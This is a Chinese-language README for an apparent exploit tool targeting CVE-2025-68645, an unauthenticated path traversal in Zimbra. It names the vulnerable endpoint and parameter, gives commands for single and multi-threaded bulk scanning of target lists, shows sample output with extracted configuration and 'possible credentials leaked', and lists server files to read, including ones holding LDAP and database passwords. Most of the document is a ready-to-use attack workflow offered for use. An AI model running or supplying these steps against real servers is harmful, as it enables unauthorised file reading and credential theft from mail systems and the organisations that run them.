CVE-2025-68645 - Zimbra 路径遍历漏洞

📋 概述

CVE-2025-68645 是 Zimbra Collaboration Suite 中的一个路径遍历漏洞，允许未经身份验证的攻击者从服务器文件系统中读取任意文件。

漏洞端点

/h/printconversations?javax.servlet.include.servlet_path=

🎯 影响

影响	严重程度
未授权文件读取	🔴 高
配置泄露	🔴 高
凭证泄露	🔴 高
内网映射	🟠 中

📁 可读文件

🚀 用法

单目标扫描

python CVE-2025-68645.py.py -t https://target.zimbra.com

批量扫描

python CVE-2025-68645.py.py -l targets.txt -o results.json --threads 20

高级选项

python CVE-2025-68645.py.py -t https://target.zimbra.com -v --timeout 30

📊 命令行参数

📸 示例输出

[*] Scanning: https://target.zimbra.local [✓] VULNERABLE: https://target.zimbra.local [+] Extracted configuration: version: 220726130125 memcached: target.local:11211 httpsPort: 8443 httpPort: 8080 [+] Found: /WEB-INF/web.xml [+] Found: /opt/zimbra/conf/localconfig.xml [!] Possible credentials leaked in /WEB-INF/web.xml

============================================================ SCAN COMPLETE! Time elapsed: 1.02 seconds Total targets: 1 Vulnerable: 1 Not vulnerable: 0

`/WEB-INF/web.xml`	Servlet 映射、安全约束
`/WEB-INF/zcs.web.xml`	Zimbra 特定配置
`/opt/zimbra/conf/localconfig.xml`	LDAP 凭证、数据库密码
`/opt/zimbra/conf/ldap-config.xml`	LDAP 服务器配置
`/opt/zimbra/conf/attrs/zimbra-attrs.xml`	系统属性
`/WEB-INF/classes/logging.properties`	日志配置

`-t, --target`	单个目标 URL	无
`-l, --list`	包含目标列表的文件	无
`-o, --output`	输出文件名	`results.json`
`--threads`	并发线程数	`10`
`--timeout`	请求超时时间（秒）	`15`
`-v, --verbose`	启用详细输出	`False`
`--no-verify`	禁用 SSL 验证	`False`
`--read-all`	读取所有敏感路径	`False`

Poc_CVE-2025-68645

最受欢迎